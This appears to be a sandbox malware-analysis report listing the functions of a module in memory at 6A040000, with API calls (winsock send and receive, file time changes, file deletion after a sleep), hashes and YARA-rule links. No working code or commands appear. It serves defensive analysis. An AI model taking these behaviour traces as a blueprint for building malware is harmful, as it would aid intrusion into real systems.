Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: ErrorModule__strdup$FileModeName$AddressExtensionFindHandleLastPathProc
String ID: NotifyWinEvent$user32.dll
API String ID: 621541537-597752486
Opcode ID: cd1adb0b11083ce98b2d7b1fc9281cc65031e5f434fe43cb3bb696388b23ba92
Instruction ID: c0ff97cc508ca2fdb825b170b4d1480c75fc32505af53e958e08e2b611f47fb8
Opcode Fuzzy Hash: cd1adb0b11083ce98b2d7b1fc9281cc65031e5f434fe43cb3bb696388b23ba92
Instruction Fuzzy Hash: CF018474A00258AFDB219FB5D818F5D3BE9EF06314B06805AE509C7292DF35EC00CBB9

Function 6A07EEC0 Relevance: 10.5, APIs: 7, Instructions: 37threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 6A07EEC5

Part of subcall function 6A087645: TlsGetValue.KERNEL32(?,6A0877D1,?,?,6A0422E5,?,00000104,6A09E2A0,?,6A04101E), ref: 6A08764E
Part of subcall function 6A087645: __decode_pointer.LIBCMT ref: 6A087660
Part of subcall function 6A087645: TlsSetValue.KERNEL32(00000000,?,6A0422E5,?,00000104,6A09E2A0,?,6A04101E), ref: 6A08766F

___fls_getvalue@4.LIBCMT ref: 6A07EED0

Part of subcall function 6A087625: TlsGetValue.KERNEL32(?,?,6A07EED5,00000000), ref: 6A087633

___fls_setvalue@8.LIBCMT ref: 6A07EEE2

Part of subcall function 6A087679: __decode_pointer.LIBCMT ref: 6A08768A

GetLastError.KERNEL32(00000000,?,00000000), ref: 6A07EEEB
ExitThread.KERNEL32 ref: 6A07EEF2
__freefls@4.LIBCMT ref: 6A07EF0E
__IsNonwritableInCurrentImage.LIBCMT ref: 6A07EF21

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 4166825349-0
Opcode ID: e8931b9ed391983b7643c4cc2c611b848b1c8385f32b0f15651a6b718c389dbe
Instruction ID: f1598ad586f0932156f427fcbc472e12c45ded54c2383d6e6ef905c139f1725d
Opcode Fuzzy Hash: e8931b9ed391983b7643c4cc2c611b848b1c8385f32b0f15651a6b718c389dbe
Instruction Fuzzy Hash: 47F0F6B4A01202DFDF149B78D40CB5E3BE9AF99308B22A055E804C721BDF35D863CA9C

Function 6A04DFCB Relevance: 9.2, APIs: 6, Instructions: 169networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6A04E04A
_memset.LIBCMT ref: 6A04E063
_memset.LIBCMT ref: 6A04E086
select.WS2_32 ref: 6A04E0AB
WSAGetLastError.WS2_32 ref: 6A04E0BD
recv.WS2_32(?,?,00000800), ref: 6A04E0DA

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _memset$ErrorLastrecvselect
String ID:
API String ID: 4192477963-0
Opcode ID: 126870f079e1d7ff643497fe9682cb0f622a17f929c605e2a9d761fe1d3fd3dc
Instruction ID: c38b5a400a14c36bb0740fc10611570d46c2d03e5f0b2fbc14147d01997601fe
Opcode Fuzzy Hash: 126870f079e1d7ff643497fe9682cb0f622a17f929c605e2a9d761fe1d3fd3dc
Instruction Fuzzy Hash: 8A519CB1508740DFD364CF24C890AABBBF5FB8A310F514E2DE59A83A51DB35F8858B52

Function 6A04F4F0 Relevance: 9.1, APIs: 6, Instructions: 139networkCOMMON

Download Yara Rule

APIs

Part of subcall function 6A04F700: GetLocalTime.KERNEL32(?,?,?), ref: 6A04F70A
Part of subcall function 6A04F700: SystemTimeToFileTime.KERNEL32(?,?), ref: 6A04F71A
Part of subcall function 6A04F700: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6A04F731
Part of subcall function 6A04F700: GetTickCount.KERNEL32 ref: 6A04F743

_memset.LIBCMT ref: 6A04F55D
sendto.WS2_32(?,?,0000002C,00000000,?,?), ref: 6A04F59F
_memset.LIBCMT ref: 6A04F5CB
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000064,00000000,?,?,?,?,?,00000000), ref: 6A04F5DF
WSAEnumNetworkEvents.WS2_32(?,00000000,?), ref: 6A04F5F8
recvfrom.WS2_32(?,?,00000100,00000000,?,?), ref: 6A04F625

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: Time$Events_memset$CountEnumFileLocalMultipleNetworkSystemTickUnothrow_t@std@@@Wait__ehfuncinfo$??2@recvfromsendto
String ID:
API String ID: 4174193342-0
Opcode ID: 389af6618fabc708c8109afce13f7c2a7161648ec993ca345d491c7b7fb81f7c
Instruction ID: 7a4c3c30a3d36c2e38a97fed4cd7216f4af044af3f16244fddd1b8fdc0b950ee
Opcode Fuzzy Hash: 389af6618fabc708c8109afce13f7c2a7161648ec993ca345d491c7b7fb81f7c
Instruction Fuzzy Hash: 82519A705087419FE320DF64C844B6AB7E9FF98B14F108A2DE198C7291EBB5E844CB92

Function 6A04B100 Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6A04B11B

Part of subcall function 6A07ED6C: __FF_MSGBANNER.LIBCMT ref: 6A07ED8F
Part of subcall function 6A07ED6C: __NMSG_WRITE.LIBCMT ref: 6A07ED96
Part of subcall function 6A07ED6C: RtlAllocateHeap.NTDLL(00000000,?,00000001,00000000,00000000,?,6A088DFF,?,00000001,?,?,6A087CE7,00000018,6A0A8F08,0000000C,6A087D78), ref: 6A07EDE3

_memset.LIBCMT ref: 6A04B139
_malloc.LIBCMT ref: 6A04B146

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: 39a3682ca6bec7d73b486d4f6e8a818ee229bc147d498849139a6c896896c6f8
Instruction ID: d48f49564b9316ec8d4d00c912a5117e246915bd5b63f77bda2e3d66943700b7
Opcode Fuzzy Hash: 39a3682ca6bec7d73b486d4f6e8a818ee229bc147d498849139a6c896896c6f8
Instruction Fuzzy Hash: 9C3122716053069BE700CF18CC84B9F73E8FB82724F54043DED849B282DBBAE9458B96

Function 6A05A6B0 Relevance: 9.0, APIs: 6, Instructions: 40timefileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00000000,00000000,00000000,?), ref: 6A05A6C7
GetFileTime.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6A05AA4F), ref: 6A05A6DF
DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 6A05A6EF
LocalFileTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6A05AA4F), ref: 6A05A6FF
FlushFileBuffers.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6A05AA4F), ref: 6A05A706
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6A05AA4F), ref: 6A05A70D

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: File$Time$BuffersCloseCreateDateFlushHandleLocal
String ID:
API String ID: 674073760-0
Opcode ID: 84ea0bd2f412c3d61c9321bff3edad8feb67e6a9c0ba19be1a41a1449e9bbb4f
Instruction ID: 1e4f00254fdbcfbc9289cce67a88f457c427789d693e6c1706b15c7b69f4ec67
Opcode Fuzzy Hash: 84ea0bd2f412c3d61c9321bff3edad8feb67e6a9c0ba19be1a41a1449e9bbb4f
Instruction Fuzzy Hash: 44F06272504201BBDB119B68DC49FEB3BFCFBDA710F14850DF245D6080D675A6068766

Function 6A047852 Relevance: 7.6, APIs: 5, Instructions: 78sleepfileCOMMON

Download Yara Rule

APIs

Part of subcall function 6A047430: _memset.LIBCMT ref: 6A047469
Part of subcall function 6A047430: _strncpy.LIBCMT ref: 6A047486

Sleep.KERNEL32(000003E8), ref: 6A0478AA
DeleteFileA.KERNEL32(?), ref: 6A0478B8
GetLastError.KERNEL32 ref: 6A0478C7
_memset.LIBCMT ref: 6A0478ED
_memset.LIBCMT ref: 6A047907

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _memset$DeleteErrorFileLastSleep_strncpy
String ID:
API String ID: 1394207256-0
Opcode ID: 0a01c3ee33910f4bd28d4b3b8e3e6e37c558b6d3f7a267d10d3529d488f1797e
Instruction ID: a97fa4dafe51a47d49c35a91df784f9bbcfaff87172bdd4cd7f1e81ca30efe76
Opcode Fuzzy Hash: 0a01c3ee33910f4bd28d4b3b8e3e6e37c558b6d3f7a267d10d3529d488f1797e
Instruction Fuzzy Hash: E92174B2608341AFD620DB709959B9BB7E9FFC5308F464839EA8983153EF3495098793

Function 6A080763 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 6A080781

Part of subcall function 6A087D5D: __mtinitlocknum.LIBCMT ref: 6A087D73
Part of subcall function 6A087D5D: __amsg_exit.LIBCMT ref: 6A087D7F
Part of subcall function 6A087D5D: EnterCriticalSection.KERNEL32(?,?,?,6A091AC7,00000004,6A0A9288,0000000C,6A088E49,?,?,00000000,00000000,00000000,?,6A0877E5,00000001), ref: 6A087D87

___sbh_find_block.LIBCMT ref: 6A08078C
___sbh_free_block.LIBCMT ref: 6A08079B
RtlFreeHeap.NTDLL(00000000,?,6A0A8B60,0000000C,6A087D3E,00000000,6A0A8F08,0000000C,6A087D78,?,?,?,6A091AC7,00000004,6A0A9288,0000000C), ref: 6A0807CB
GetLastError.KERNEL32(?,6A091AC7,00000004,6A0A9288,0000000C,6A088E49,?,?,00000000,00000000,00000000,?,6A0877E5,00000001,00000214), ref: 6A0807DC

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 534cc167c5df4d8c6482a911ccebe3ac48fd26dfcf0323a56e738320fd5f9cc0
Instruction ID: daf36cd4d4d3f3d663fefd74336618853320107162b008aa101f15cfa3e5d4b3
Opcode Fuzzy Hash: 534cc167c5df4d8c6482a911ccebe3ac48fd26dfcf0323a56e738320fd5f9cc0
Instruction Fuzzy Hash: 6901A2B1D0B305AAEF105FB0984CB5E3BF4AF0172AF114159E214A7191CF3489418E9C

Function 6A048B30 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

__wfopen_s.LIBCMT ref: 6A048B52
OutputDebugStringA.KERNEL32(?,00000000,?,6A049039,?), ref: 6A048B7C
OutputDebugStringA.KERNEL32(6A09E1DC), ref: 6A048B83

Strings

C:\123.txt, xrefs: 6A048B4C

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: DebugOutputString$__wfopen_s
String ID: C:\123.txt
API String ID: 4089825709-757984348
Opcode ID: 3803757cab94d4eadf6ee3fd6a4544d2866d7d8b8684b1c7ef1e84b58fcdbf16
Instruction ID: f8a1878ad529156dede4c2844703826a4b6435e7e76b121b20278f66f23a962d
Opcode Fuzzy Hash: 3803757cab94d4eadf6ee3fd6a4544d2866d7d8b8684b1c7ef1e84b58fcdbf16
Instruction Fuzzy Hash: B9E092B2814204EAC61096A49C40F5B7BACAB8A300F045C2AF24892040EE74D844D7D2

Function 6A048B3E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

__wfopen_s.LIBCMT ref: 6A048B52
OutputDebugStringA.KERNEL32(?,00000000,?,6A049039,?), ref: 6A048B7C
OutputDebugStringA.KERNEL32(6A09E1DC), ref: 6A048B83

Strings

C:\123.txt, xrefs: 6A048B4C

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: DebugOutputString$__wfopen_s
String ID: C:\123.txt
API String ID: 4089825709-757984348
Opcode ID: eef42551d73c275d182952d2fcd583021959a8c8a182c3b7bd063de2e41760c1
Instruction ID: 699c6c2781c57e451fc4d07d754c9292c39bb0c8d839e4b41abf71cefc9e0cc6
Opcode Fuzzy Hash: eef42551d73c275d182952d2fcd583021959a8c8a182c3b7bd063de2e41760c1
Instruction Fuzzy Hash: 58E0DFB2814205AAC61096B49C44BAF7BECAF8A300F019C2AF24893040EF78DC44EBD2

Function 6A08098A Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 6A080A4E
__fileno.LIBCMT ref: 6A080A6E
__locking.LIBCMT ref: 6A080A75
__flsbuf.LIBCMT ref: 6A080AA0

Part of subcall function 6A082DCA: __getptd_noexit.LIBCMT ref: 6A082DCA

Part of subcall function 6A0824F4: __decode_pointer.LIBCMT ref: 6A0824FF

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
